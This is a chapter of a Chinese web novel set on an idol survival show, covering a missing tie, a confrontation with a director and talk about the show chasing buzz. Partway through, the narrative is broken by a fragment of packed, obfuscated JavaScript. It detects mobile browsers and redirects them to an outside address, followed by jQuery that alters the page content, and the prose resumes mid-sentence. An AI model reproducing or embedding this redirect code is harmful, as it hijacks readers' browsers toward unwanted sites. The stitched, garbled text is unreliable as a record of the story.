“哇哦你选的短款吗?很衬你。”
“还好啦,毕竟我脸短,不适合长款。”
“今年还挺人性,居然给我们三种选——但你们看到叶莱了吗?他和我们的完全不一样。”
“可以理解,毕竟他是C位嘛。”
练习生三三两两站在舞台上交谈着,离正式拍摄还有十分钟,大家有些百无聊赖。然而正在这时,一抹白色闯入眼帘。
那人无比轻松的一个跨步,便从舞台底下站了上来,带着独有的洒脱和利落。
“我艹!是他!”
“傅寻砚剪头发了?没想到大背头也很合适啊!”
抬眼间,青年的眉目完全清晰地露了出来。一个下午的时间足够cody帮他捣鼓出一个适合他的发型来。
鸦色的发沉得浓郁,刘海被拨到后方后完全凸显了傅寻砚的五官优势,黑与白的对比强烈,让人一瞬间便想到水墨画,写意洒脱,见之忘俗。
卷发的傅寻砚是特别的,背头的他更不至于埋没——甚至比起卷发时略微遮住眉眼的沉默,将脸完全露出的他有了一份明亮的锐意。
他的白衬衫松了一颗扣子,明明大家的衬衣都差不多,但穿在傅寻砚身上便格外合适。
无聊地用脚摩挲着光滑可鉴的地板,叶莱撩了撩刘海,目视着周遭刺眼的灯光一盏盏亮起又暗下。
就和过去在H国的数百个日夜一样。
国内的舞台有什么区别呢?叶莱说不上来。《新世纪》是曾经《偶像计划》的改版,但历经了四年的暂停,不论财力、名气亦或者其他都不可同日而语。
好在导演人还行,至少把钱都花在了舞台上,所以不论是服装亦或表演环境都还可以。
哈哈——叶莱低着头无谓地冷笑一声——有时候他也不知道自己在追求什么,究竟是成名,还是一个完美的表演。
当着镜头装清高谁不会,但灯光暗下后谁又真的内心纯粹?那些振振有词的“我只是为了舞台”的人,大多早就有了名气。
有了自然不必再做宣言。
叶莱眯了眯眼,心底空荡得可怕。随着MV拍摄在即,这种空洞感愈发裹挟着他,让他全身发冷,连那些淡蓝色的灯光也带上了午夜雪花的冰冷。
在那种茫茫一片中,黑发的人闯入。
他的造型实在简单极了,衬衫是最普通的,外套也不长不短,甚至连胸前的——
“嗯?你的领带呢?”
“出了点小状况,节目组这边也没有备用了,导演说直接这样上场也没关系。”傅寻砚并不在意。他的位置被排在后面的角落,尽管同属于A班,但个人镜头甚至不如B班C班的C位,换言之,没人会发现他的领带问题。
当然,直拍会暴露,不过其实直拍是另外单独拍的,到时候随便问谁借一下就好。
“你……”
大脑突然涌上过量的血,使得情绪突然在里头横冲直撞,让人一阵眩晕。叶莱觉得现在的自己失去了控制。
他反复告诉自己,傅寻砚的事情可不关自己。
叶莱是谁?是H团Fever的ace,是苦苦熬过了四年练习生生涯,又有过两年舞台经验的成熟偶像。
他谙熟规则,他不会冲动,他的二十一岁没有热血——他是完美的,是随时可以出售的“商品”。
可是——手攥紧,完美的指甲嵌入掌心……这应该吗?
从第一天到现在,发生在自己眼前的一切真的真实吗?
如果真实,为什么要出现在他眼前呢?叶莱真的不明白——难道可笑的不存在的命运在暗示他做什么吗?不然为什么要一遍又一遍……
一遍又一遍一遍——地来挑战他的
信仰
青年的眼中兀自燃起熊熊烈火,像是潮湿腐朽的木头被骤然点亮,熏人的烟气氤氲着微妙的火光,顷刻间朝着傅寻砚喷来。
傅寻砚讷讷,还没张口,手腕被狠力钳制住。
“你是包子吗?怎么谁都能拿捏你?”
叶莱脸上的表情第一次如此生动,五官似乎都移了位,十分像是鬼脸。傅寻砚觉得,或许是叶莱太久没有如此情绪外露,甚至忘记了该怎样正确地表达怒意。
说实话,不好看,完全不符合粉丝心目中柳月清风的形象,但傅寻砚还是觉得,叶莱第一次不像假人,而是变成了一个,真真实实的,生动的活着的人。
在一众练习生的惊讶和轻呼中,叶莱拽着傅寻砚就往节目组那里去。
“副导,傅寻砚的领带到底怎么回事呢?101个人只有傅寻砚的领带出了问题,这不应该吧?”
四十多岁的男副导露出一言难尽的表情,顾着叶莱是赛前人气第一而克制了语气:“是不应该,但问题并不是出在我们节目组管理人员身上——你们练习生之间的事情,我们不好随意插手吧?”
叶莱多聪明的人,喉头涩意涌上了,哽咽:“您的意思,是,是其他练习生干的?”
副导瘪了瘪嘴:“我可没说。”
“好。”眸光暗下,那团火红变成了深寂的愤恨。叶莱吸了口气,“可以给监控吗?我们自己查。”
副导露出不耐烦的表情,觑了一眼叶莱。
“没关系的。”旁边久久未出声的当事人终于往前一步,挡在了叶莱和副导之间。
副导演安静看过来,尽管傅寻砚的造型格外熟男,但只要他愿意收敛起锐意的气质,站在这里的青年便如玉温润通透,美丽而不刺人。
“再怎么说也是拍摄的事情为重,至于其中的龃龉,我相信在我的澄清出来后,大家会放下对我的误会。”
“你!”叶莱在后边拽了一下傅寻砚的衣角,傅寻砚回头,看见那从来没有真情的眼睛里切实地流淌着复杂的情绪,突然有些好笑。
明明自己才是受害人,这家伙怎么比自己还生气?
——所以,他在H国的时候,也遭受过不好的待遇吧?
对于叶莱这样的人而言,只有感同身受才会击溃心防不是吗?
傅寻砚不再容叶莱多言,握着他的肩膀带他从副导眼前撤走,以行动展示了自己的“知趣”。
叶莱被裹挟到角落,愤愤挥开了傅寻砚的手。“砰”的一声,洁白如玉的手背磕碰在墙上,留下深深一道红痕。
叶莱张了张嘴,但道歉到了嘴边又被一种难言的酸涩衔回来吞下。
堵在喉咙口,痒痒的。心也空空的。
傅寻砚觉得自己纯属无妄之灾,摸了摸撞到的地方,一片火热。他垂眸,看着面前的青年。
“这件事和你没关系不是吗?为什么要帮我出头?”
叶莱抬眸,只短短半分钟的沉默,他已经习惯性收敛好情绪,平静下来。然而如镜的湖面后藏着深深的暗潮,傅寻砚看得明白,他在怨恨自己。
“嗤——”果不其然。
就像精神分裂,之前那个冲动为他说话的青年不在,叶莱的脸上出现了他不常有的讥讽,让那双凤眼格外冷酷。
“是啊,我多管闲事了,你就当我发疯好了。”
傅寻砚静静地看着叶莱。
如果他真的像他的表情一样,对自己充满愤怒,那么早该甩下自己走了,还会被自己堵在这?
想到这,傅寻砚忍不住笑了。不管上辈子还是这次,他一直以为叶莱是个成熟到可怕的人,可现在事实打了他一巴掌——叶莱仍然是个孩子,不管他处事怎样稳重。
他的内核,仍然是个孩子。
“你笑什么?”叶莱甩了傅寻砚一眼,下意识抱起双臂以防御。
傅寻砚还在浅笑,这让叶莱的怒气愈发上头,但下一秒,他的怒气便随着对方的话如潮水急退。
“没有,只是觉得,今天好像第一次认识了你。”
叶莱狐疑,他看着面前比他略高些的傅寻砚,对方新的造型在昏暗处充满了压迫感,但因为他在笑,所以反而多了些模糊的说不清道不明的感觉。
“什么第一次……你说什么呢?”说到一半,叶莱像是恢复记忆般想起了刚刚,也就明白了傅寻砚到底是什么意思。
他嗫嚅,垂下头,绯色迅速从脖子处向上蔓延。
“我哪有……”
傅寻砚拍了拍他的肩。
“我并不是说你多管闲事。相反,作为C位你能这样替我说话,我非常感谢,也觉得你是一个很好的人。”
“但这件事不是这么处理的,现在要求一个处理结果并不实际。”
“为什么?”叶莱问。
“因为……”傅寻砚看向舞台处,蓝色的灯光里几百人来回穿梭。练习生、场务、摄影师……
“因为对于这个舞台而言,每个人,包括我包括你,都像金字塔的一块,区别在于,你或许是尖顶那核心的一块,而我可以是正面的,却也可以是背后的,可以是侧面的。”
“如果我出了问题,摄影师只需要调整一个角度即可获得原本想要的完美照片。”
“你觉得,明明有以上的方式,却硬要花力气将这块不重要的木头堵上,对于任务紧急的摄影师而言,现实吗?”
叶莱沉默了。其实他该想到的,只是……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137580|164369||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“负责守护金字塔,负责修复金字塔的,负责拍摄金字塔的——没有人会在我要求补上漏洞后感到开心,因为我不仅增加了他们的负担,更是他们失职的见证。”
“综上,反映问题的选择对我完全没有好处不是吗?”
叶莱看着傅寻砚,对方的话语说得太过从容,从容到看起来受到损失的人不是他一样。
“那怎么办?你就任由他们把你挪到后面去,挪到侧面去?”
谁知傅寻砚接下来的话却让他不由得一个激灵,叶莱看着傅寻砚微微摇头,嘴角露出一种复杂的,似乎是开心,却又蕴藏着某种难受的笑容。
“真奇怪呢,你虽然出道了两年,但似乎并不能看穿这件事背后的东西。”
“你能不能不讲这些玄乎的。”叶莱真的不明白为什么短短五分钟的交谈里,傅寻砚一直在他面前当谜语人,“到底是什么意思?”
谁知傅寻砚只是看了他一眼。
“我觉得,你似乎有些太相信这个节目了。”
有吗?叶莱刚想反驳,但他骤然发现,好像确实如此。他知道节目代表着资本,不会真的善良到守护所有练习生的身心健康,可自从进入节目到现在……自己一直在肯定《新世纪》。
因为他看见,节目虽然穷,可至少花钱在舞台、在选曲上,所以——所以他认为节目整体是积极的,是正直的。
可这种想法真的对吗?叶莱后背出了冷汗。他不知道自己从什么时候开始,掉以轻心了。
这个节目,那个节目,所有的节目,终极目标都不是为了让练习生实现梦想,而是——热度。
追求热度。
投入在舞台本身,只是《新世纪》的一种策略,就像投入在炒作是《前进吧》的一种选择一样。
这一行为背后的动机,并不如他所想,是善良的、体贴的,或至少是正直的。也许,只是一个冰冷无情的策划,一个平衡所有后被提议的方向。
好人办好事,庸人办好事,坏人恰好办了好事——这都是有可能的。
傅寻砚看着叶莱的唇色逐渐苍白,眸光颤动。
“倒也不必这样受打击?”傅寻砚插着兜,姿态闲适,“我也没说背后到底有多黑暗,只是提醒一下你一种可能性而已。”
叶莱怔怔抬脸,依旧觉得有些晕眩,他强迫自己转移了注意力:“那……”
“不管如何,先完成舞台。”傅寻砚勾住他的肩膀,将他从黑暗处推到了光芒中。
叶莱回头,看见依旧隐在黑暗中的人,眸光发亮。
“只有你让自己变得更有价值,才不会被摆布——这就是我们当前唯一的解。”
他说得对。叶莱不得不承认,他遥遥看了看忙碌的人群,场记在呼唤着排位置。
叶莱走了过去,瘦削的肩突然变得比以前宽阔。
“啧,感觉画面不是很和谐啊。”总导演抽空来了一趟排练现场,他从前往后以一种极具挑剔感的目光看了一遍队伍,然后停留在傅寻砚这里。
“傅寻砚,你站到右边第二位来。”
原本站在第二位的练习生一愣,下意识张嘴:“导演,我……”
但他很快意识到不该多嘴,尴尬地往后退了一步,将位置让给傅寻砚。
傅寻砚甚至没有露出什么惊讶的神色,这倒是让总导演意识到,或许这个年纪轻轻的练习生早就猜到自己要做什么。
位置一调整,傅寻砚变成了右护法位,可以说仅次于C位,镜头量直线上升。
尽管C位肯定是练习生们集体投出来的,但每年A班的站位可不是根据刚刚的练习生投票,而是节目组综合目前全民投票数和再评级情况自行分配。
而傅寻砚,不论是全民投票数和再评级情况,都绝对在榜首,所以从一开始他就该在左右护法其一。
至于导演为什么一开始将他按在末流——大家心知肚明,只是理解的大概不太一样。
不明真相的,觉得肯定是节目组顾忌傅寻砚的“塌房”,而另几个知道真相的练习生则终于了然——原来节目组一开始就没有放弃这个爆点。
叶莱没有回头看傅寻砚,他直视前方的眼神暗了暗。
导演投放了一个诱饵,有人上钩了,于是在背后之手的推波助澜下制造了“领结事件”。至于傅寻砚知不知情……
叶莱觉得那不重要,这件事的关键本就在那些练习生的本心,如果他们不那么恶毒,这件事不可能发生。
说到底,这其实都算不上什么“试炼”,只是一个巧合,一个蕴藏了不好的假设的巧合。